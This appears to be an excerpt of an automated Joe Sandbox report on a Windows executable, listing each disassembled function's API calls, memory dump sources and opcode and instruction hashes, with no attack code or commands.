Uniqueness Score: -1.00%

Function 004069F6 Relevance: 4.5, APIs: 3, Instructions: 27
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WaitForSingleObject.KERNEL32(?,00000064), ref: 00406A07
WaitForSingleObject.KERNEL32(?,00000064,0000000F), ref: 00406A1C
GetExitCodeProcess.KERNEL32(?,?), ref: 00406A29

Memory Dump Source

Source File: 00000000.00000002.2201589913.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2201567526.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201611662.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2202495487.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ObjectSingleWait$CodeExitProcess
String ID:
API String ID: 2567322000-0
Opcode ID: 17a38a5c847dd8245057c7588e6ed0bb749bee8eb0eab1a955a98d2ec77b2a61
Instruction ID: 7df20da1addfcb38db7f968568525e0055db05351d7e2d981a5b9d81d63ff89b
Opcode Fuzzy Hash: 17a38a5c847dd8245057c7588e6ed0bb749bee8eb0eab1a955a98d2ec77b2a61
Instruction Fuzzy Hash: 6BE09271600208BBDB00AB54DD01D9E7B6EDB85700F104032BA45BA190C6B19E62DEA4

Uniqueness

Uniqueness Score: -1.00%

Function 004015C6 Relevance: 3.1, APIs: 2, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00405ED1: CharNextW.USER32(?,?,C:\,?,00405F45,C:\,C:\,75923420,?,C:\Users\user\AppData\Local\Temp\,00405C83,?,75923420,C:\Users\user\AppData\Local\Temp\,0043F000), ref: 00405EDF
Part of subcall function 00405ED1: CharNextW.USER32(00000000), ref: 00405EE4
Part of subcall function 00405ED1: CharNextW.USER32(00000000), ref: 00405EFC

GetFileAttributesW.KERNEL32(?,?,00000000,0000005C,00000000,000000F0), ref: 0040161F

Part of subcall function 00405AAB: CreateDirectoryW.KERNEL32(00437800,?), ref: 00405AED

SetCurrentDirectoryW.KERNEL32(?,00440000,?,00000000,000000F0), ref: 00401652

Memory Dump Source

Source File: 00000000.00000002.2201589913.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2201567526.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201611662.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2202495487.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentFile
String ID:
API String ID: 1892508949-0
Opcode ID: 6eb1be088149721894534dc5ef05b39002eda9ec2efe8824e8f1ae211de42d0c
Instruction ID: 6fd3d265dcb44280b24f8e6f21651466162e19908bb00ba525d5af3adea1cd3c
Opcode Fuzzy Hash: 6eb1be088149721894534dc5ef05b39002eda9ec2efe8824e8f1ae211de42d0c
Instruction Fuzzy Hash: F211E231404104ABCF206FA5CD0159F36B0EF04368B25493FE945B22F1DA3D4A81DA5E

Uniqueness

Uniqueness Score: -1.00%

Function 00401389 Relevance: 3.0, APIs: 2, Instructions: 43
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
SendMessageW.USER32(0040A2D8,00000402,00000000), ref: 004013F4

Memory Dump Source

Source File: 00000000.00000002.2201589913.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2201567526.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201611662.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2202495487.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: a48e27458ca857e7bf1c95edfaa4f4fc3f64b4f364872359a8149092e2b898a4
Instruction ID: 0adee223d2b7ba7d815a442a2885e1f2b60e3b86eb1a18037e9b6c54a102055c
Opcode Fuzzy Hash: a48e27458ca857e7bf1c95edfaa4f4fc3f64b4f364872359a8149092e2b898a4
Instruction Fuzzy Hash: 0E01FF31620220AFE7195B389E05B6B3698E710329F10863FF851F62F1EA78DC429B4C

Uniqueness

Uniqueness Score: -1.00%

Function 00405AAB Relevance: 3.0, APIs: 2, Instructions: 26COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(00437800,?), ref: 00405AED
GetLastError.KERNEL32 ref: 00405AFB

Memory Dump Source

Source File: 00000000.00000002.2201589913.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2201567526.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201611662.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2202495487.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID:
API String ID: 1375471231-0
Opcode ID: 93d1f65b513afb97053b6d969de6af344d99c991354c8e43ed6bd2c6eb9068ab
Instruction ID: ed7a645988c2e2a06802fdc928ba12763e2e88a5fcf473fdfb2f1107ef0c66eb
Opcode Fuzzy Hash: 93d1f65b513afb97053b6d969de6af344d99c991354c8e43ed6bd2c6eb9068ab
Instruction Fuzzy Hash: 56F0F970D0060DDBDB00CFA4C5497DFBBB4AB04305F00812AD545B6281D7B95248CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 00405B3A Relevance: 3.0, APIs: 2, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(00000000,00437800,00000000,00000000,00000000,04000000,00000000,00000000,0042FA70,?,?,?,00437800,?), ref: 00405B63
CloseHandle.KERNEL32(?,?,?,00437800,?), ref: 00405B70

Memory Dump Source

Source File: 00000000.00000002.2201589913.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2201567526.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201611662.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2202495487.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID:
API String ID: 3712363035-0
Opcode ID: 6fd2602221babf1a8a9a6246b82f99e4ae13039f11edd6951af80fecf8f79ee2
Instruction ID: b1032d8704f3223f2a9afbe03a7757fefc60a77e8ecf1711bb84520e71ece662
Opcode Fuzzy Hash: 6fd2602221babf1a8a9a6246b82f99e4ae13039f11edd6951af80fecf8f79ee2
Instruction Fuzzy Hash: 91E09AB4600219BFEB109B74AD06F7B767CE704604F408475BD15E2151D774A8158A78

Uniqueness

Uniqueness Score: -1.00%

Function 0040694B Relevance: 3.0, APIs: 2, Instructions: 22libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,00000020,?,00403642,0000000C,?,?,?,?,?,?,?,?), ref: 0040695D
GetProcAddress.KERNEL32(00000000,?), ref: 00406978

Part of subcall function 004068DB: GetSystemDirectoryW.KERNEL32(?,00000104), ref: 004068F2
Part of subcall function 004068DB: wsprintfW.USER32 ref: 0040692D
Part of subcall function 004068DB: LoadLibraryExW.KERNEL32(?,00000000,00000008), ref: 00406941

Memory Dump Source

Source File: 00000000.00000002.2201589913.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2201567526.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201611662.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2202495487.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: AddressDirectoryHandleLibraryLoadModuleProcSystemwsprintf
String ID:
API String ID: 2547128583-0
Opcode ID: fa9529b661a20328ef717d54741181462d2da8a99b8882de0ad3477ad76f042b
Instruction ID: ff64ee7455e026c1647d72c339307a336527f79dacb59e64982fca04d7429b22
Opcode Fuzzy Hash: fa9529b661a20328ef717d54741181462d2da8a99b8882de0ad3477ad76f042b
Instruction Fuzzy Hash: 38E08673504210AFD61057705D04D27B3A89F85740302443EF946F2140DB34DC32ABA9

Uniqueness

Uniqueness Score: -1.00%

Function 00406047 Relevance: 3.0, APIs: 2, Instructions: 16fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(00000003,004030C2,C:\Users\user\Desktop\file.exe,80000000,00000003), ref: 0040604B
CreateFileW.KERNEL32(?,?,00000001,00000000,?,00000001,00000000), ref: 0040606D

Memory Dump Source

Source File: 00000000.00000002.2201589913.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2201567526.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201611662.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2202495487.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: 6be4d53c09d0ea7202590e2ef391dde9d68f005235e9a58d36352f422cb06a2c
Instruction ID: 9d50a09f5748d4f60ef03139cc16a9656d1073ae209d3065c053d14625e31d4c
Opcode Fuzzy Hash: 6be4d53c09d0ea7202590e2ef391dde9d68f005235e9a58d36352f422cb06a2c
Instruction Fuzzy Hash: 87D09E31654301AFEF098F20DE16F2EBAA2EB84B00F11552CB682941E0DA715819DB15

Uniqueness

Uniqueness Score: -1.00%

Function 00406022 Relevance: 3.0, APIs: 2, Instructions: 13COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(?,?,00405C27,?,?,00000000,00405DFD,?,?,?,?), ref: 00406027
SetFileAttributesW.KERNEL32(?,00000000), ref: 0040603B

Memory Dump Source

Source File: 00000000.00000002.2201589913.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2201567526.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201611662.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2202495487.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: bc30e5c928ed30f9cb3e730bb3a024ff28878b527ec9bdb2640fa07c227b463d
Instruction ID: 97cbb32404f08d1f6fed837f871d2b37f55cf766f9720be9b575451f5cdabe77
Opcode Fuzzy Hash: bc30e5c928ed30f9cb3e730bb3a024ff28878b527ec9bdb2640fa07c227b463d
Instruction Fuzzy Hash: A3D0C972504220AFC2102728AE0889BBB55EB542717028A35FCA9A22B0CB304CA68694

Uniqueness

Uniqueness Score: -1.00%

Function 00403B4F Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 11COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(FFFFFFFF,00403A82,?,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403B5A

Strings

C:\Users\user\AppData\Local\Temp\nsg4683.tmp\, xrefs: 00403B6E

Memory Dump Source

Source File: 00000000.00000002.2201589913.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2201567526.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201611662.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2202495487.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CloseHandle
String ID: C:\Users\user\AppData\Local\Temp\nsg4683.tmp\
API String ID: 2962429428-2493156823
Opcode ID: ae973bb0dca4e4815b90d97470301ae31a1ae4600fd43aa67c366af3984d4a62
Instruction ID: 69482a2579ef2b85c2ad9764c5c762c9eb4f19b2fcf4b87e51b14fafea8afdc0
Opcode Fuzzy Hash: ae973bb0dca4e4815b90d97470301ae31a1ae4600fd43aa67c366af3984d4a62
Instruction Fuzzy Hash: EDC0123090470496F1206F79AE8FA153A64574073DBA48726B0B8B10F3CB7C5659555D

Uniqueness

Uniqueness Score: -1.00%

Function 00405B05 Relevance: 3.0, APIs: 2, Instructions: 9COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(?,00000000,00403525,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040381C,?,00000008,0000000A,0000000C), ref: 00405B0B
GetLastError.KERNEL32(?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00405B19

Memory Dump Source

Source File: 00000000.00000002.2201589913.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2201567526.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201611662.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2202495487.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID:
API String ID: 1375471231-0
Opcode ID: 7ce514c051633c67dabed91c1ba2c830ad6f4192d7236d4c27a26ed09d9cb01d
Instruction ID: 8c4969e502f5bc4c8dfdefb7e9c2ba363b64d1215f12130c86bef4ebeef6f559
Opcode Fuzzy Hash: 7ce514c051633c67dabed91c1ba2c830ad6f4192d7236d4c27a26ed09d9cb01d
Instruction Fuzzy Hash: 19C08C30310902DACA802B209F087173960AB80340F158439A683E00B4CA30A065C92D

Uniqueness

Uniqueness Score: -1.00%

Function 004060CA Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(00000000,00000000,00000004,00000004,00000000,000000FF,?,004034E7,00000000,00000000,0040330B,000000FF,00000004,00000000,00000000,00000000), ref: 004060DE

Memory Dump Source

Source File: 00000000.00000002.2201589913.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2201567526.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201611662.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2202495487.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 076a4193e787d8b2f8fcded04b516b0b1a94860d7d4352c54bed072072f3bbd3
Instruction ID: a77d82ba430c16999eb1f2306cb11816df14181100402a9e04059793f1b3015d
Opcode Fuzzy Hash: 076a4193e787d8b2f8fcded04b516b0b1a94860d7d4352c54bed072072f3bbd3
Instruction Fuzzy Hash: 21E08632150219ABCF10DF948C00EEB3B9CFF04390F018436FD11E3040D630E92197A4

Uniqueness

Uniqueness Score: -1.00%

Function 004060F9 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32(00000000,00000000,00000004,00000004,00000000,000000FF,?,0040349D,00000000,0041EA20,000000FF,0041EA20,000000FF,000000FF,00000004,00000000), ref: 0040610D

Memory Dump Source

Source File: 00000000.00000002.2201589913.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2201567526.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201611662.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2202495487.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 4494c28c6fc58b77f7b94402ffbb10e79d92760fb9961e7d9dbcb201027e3d13
Instruction ID: 78408803ccc59d93ae5352641a5e7b8f709900c8df5e8e9e13d69f82a1dcf02f
Opcode Fuzzy Hash: 4494c28c6fc58b77f7b94402ffbb10e79d92760fb9961e7d9dbcb201027e3d13
Instruction Fuzzy Hash: 8FE08C3220021ABBCF109E908C00EEB3FACEB003A0F014432FA26E6050D670E83097A4

Uniqueness

Uniqueness Score: -1.00%

Function 004034EA Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(00000000,00000000,00000000,00403247,?), ref: 004034F8

Memory Dump Source

Source File: 00000000.00000002.2201589913.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2201567526.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201611662.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2202495487.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 9851be0de28bb9513f6e500a0df6ea838ed72b99fd7baa621d8f85bec57c8f40
Instruction ID: 1f5c7ae16c2334422adcad36111bde95194575cbdac9b1f52e29a9f6e91cc98e
Opcode Fuzzy Hash: 9851be0de28bb9513f6e500a0df6ea838ed72b99fd7baa621d8f85bec57c8f40
Instruction Fuzzy Hash: 34B01271240300BFDA214F00DF09F057B21ABA0700F10C034B388380F086711035EB0D

Uniqueness

Uniqueness Score: -1.00%

Function 00401FA9 Relevance: 1.3, APIs: 1, Instructions: 37COMMON

Download Yara Rule

APIs

Part of subcall function 004055DC: lstrlenW.KERNEL32(0042BA48,00000000,00428E20,759223A0,?,?,?,?,?,?,?,?,?,0040341D,00000000,?), ref: 00405614
Part of subcall function 004055DC: lstrlenW.KERNEL32(0040341D,0042BA48,00000000,00428E20,759223A0,?,?,?,?,?,?,?,?,?,0040341D,00000000), ref: 00405624
Part of subcall function 004055DC: lstrcatW.KERNEL32(0042BA48,0040341D), ref: 00405637
Part of subcall function 004055DC: SetWindowTextW.USER32(0042BA48,0042BA48), ref: 00405649
Part of subcall function 004055DC: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040566F
Part of subcall function 004055DC: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405689
Part of subcall function 004055DC: SendMessageW.USER32(?,00001013,?,00000000), ref: 00405697

Part of subcall function 00405B3A: CreateProcessW.KERNEL32(00000000,00437800,00000000,00000000,00000000,04000000,00000000,00000000,0042FA70,?,?,?,00437800,?), ref: 00405B63
Part of subcall function 00405B3A: CloseHandle.KERNEL32(?,?,?,00437800,?), ref: 00405B70

CloseHandle.KERNEL32(?,?,?,?,?,?), ref: 00401FF0

Part of subcall function 004069F6: WaitForSingleObject.KERNEL32(?,00000064), ref: 00406A07
Part of subcall function 004069F6: GetExitCodeProcess.KERNEL32(?,?), ref: 00406A29

Part of subcall function 0040649E: wsprintfW.USER32 ref: 004064AB

Memory Dump Source

Source File: 00000000.00000002.2201589913.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2201567526.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201611662.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
